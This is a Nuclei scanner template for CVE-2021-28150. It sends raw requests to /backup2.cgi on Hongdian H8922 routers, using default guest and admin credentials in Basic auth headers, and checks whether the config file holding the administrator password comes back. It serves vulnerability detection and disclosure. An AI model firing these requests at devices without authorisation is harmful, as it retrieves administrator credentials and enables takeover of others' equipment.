id: CVE-2021-28150

info:
  name: Hongdian H8922 3.0.5 - Information Disclosure
  author: gy741
  severity: medium
  description: Hongdian H8922 3.0.5 is susceptible to information disclosure. An attacker can access cli.conf (with the administrator password and other sensitive data) via /backup2.cgi and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to the exposure of sensitive data, potentially compromising the confidentiality of the system and its users.
  remediation: |
    Apply the latest security patch or update provided by Hongdian to fix the information disclosure vulnerability (CVE-2021-28150).
  reference:
    - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
    - http://en.hongdian.com/Products/Details/H8922
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28150
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/Threekiii/Awesome-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.5
    cve-id: CVE-2021-28150
    cwe-id: CWE-425
    epss-score: 0.78763
    epss-percentile: 0.99067
    cpe: cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hongdian
    product: h8922_firmware
  tags: cve2021,cve,hongdian,exposure,vkev,vuln

http:
  - raw:
      - |
        GET /backup2.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
      - |
        GET /backup2.cgi HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46YWRtaW4=

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: word
        part: body
        words:
          - "CLI configuration saved from vty"
          - "service webadmin"

      - type: status
        status:
          - 200
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